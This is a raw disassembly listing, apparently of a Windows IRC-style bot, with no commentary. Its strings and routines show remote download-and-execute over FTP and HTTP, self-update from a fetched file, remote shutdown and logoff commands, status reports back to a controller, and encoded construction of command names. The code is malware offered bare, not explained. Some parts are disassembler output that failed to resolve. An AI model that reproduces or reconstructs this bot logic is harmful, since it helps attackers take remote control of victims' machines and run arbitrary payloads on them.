		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D830:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_41D848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D848:				; CODE XREF: ___:0041D83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D860	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D930	proc near		; CODE XREF: sub_401C94j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F30
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ebx, [esi+65h]
		push	offset byte_448F30
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ecx, [esi+26h]
		push	offset byte_448F30
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D9D1
		push	offset byte_448F30
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D9C4
		push	offset byte_448F30
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D9D1


loc_41D9C4:				; CODE XREF: sub_41D930+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41E03D
; ---------------------------------------------------------------------------


loc_41D9D1:				; CODE XREF: sub_41D930+70j
					; sub_41D930+92j
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41DA5E
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA6F


loc_41DA5E:				; CODE XREF: sub_41D930+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA6F:				; CODE XREF: sub_41D930+12Cj
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2810000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DC04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DB1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41E014
; ---------------------------------------------------------------------------


loc_41DB1C:				; CODE XREF: sub_41D930+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DB73:				; CODE XREF: sub_41D930+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DBF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DBF2:				; CODE XREF: sub_41D930+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DE7B
; ---------------------------------------------------------------------------


loc_41DC04:				; CODE XREF: sub_41D930+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0B9h
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DC87:				; CODE XREF: sub_41D930+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41E048
; ---------------------------------------------------------------------------


loc_41DD80:				; CODE XREF: sub_41D930+3DBj
					; sub_41D930+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDF8
		cmp	ebp, 1000h
		jge	short loc_41DDB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DDB0:				; CODE XREF: sub_41D930+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD80


loc_41DDB6:				; CODE XREF: sub_41D930+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_444EC8 ; "\r\n\r\n"
		push	ecx
		call	near ptr 77C47A50h
		nop
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DDD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDB6
		jmp	short loc_41DD80
; ---------------------------------------------------------------------------


loc_41DDD9:				; CODE XREF: sub_41D930+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DDF8


loc_41DDE0:				; CODE XREF: sub_41D930+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDE0


loc_41DDF8:				; CODE XREF: sub_41D930+46Ej
					; sub_41D930+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DE48
		cmp	ebp, 1000h
		jge	short loc_41DE28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DE28:				; CODE XREF: sub_41D930+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DDF8


loc_41DE2E:				; CODE XREF: sub_41D930+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DE2E
		jmp	short loc_41DDF8
; ---------------------------------------------------------------------------


loc_41DE48:				; CODE XREF: sub_41D930+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DE7B:				; CODE XREF: sub_41D930+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DF17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41E00C
		push	offset byte_448F30
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_41E00C
; ---------------------------------------------------------------------------


loc_41DF17:				; CODE XREF: sub_41D930+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+90h+var_40]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DFE7
		mov	al, byte_449896
		test	al, al
		jz	short loc_41DFB6
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_41DFB6:				; CODE XREF: sub_41D930+675j
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_41DFCE
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_41DFCE:				; CODE XREF: sub_41D930+68Dj
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		push	1
		mov	byte_4E8E44, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DFE7:				; CODE XREF: sub_41D930+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_41E00C:				; CODE XREF: sub_41D930+597j
					; sub_41D930+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41E014:				; CODE XREF: sub_41D930+1E7j
		push	edx


loc_41E015:				; CODE XREF: sub_41D930+23Ej
					; sub_41D930+2BDj
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41E048
; ---------------------------------------------------------------------------


loc_41E035:				; CODE XREF: sub_41D930+36j
					; sub_41D930+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41E03D:				; CODE XREF: sub_41D930+9Cj
		push	eax
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_41D930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D930


loc_41E048:				; CODE XREF: sub_41D930+44Bj
					; sub_41D930+703j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D930
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E240	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E3C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E41B
		push	offset dword_444FCC
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 28D0000h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E41B:				; CODE XREF: ___:0041E3DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E46A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		call	near ptr 28D0000h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E46A:				; CODE XREF: ___:0041E42Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E4B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28D0000h


loc_41E4B1:				; CODE XREF: ___:0041E47Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E500	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E500	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



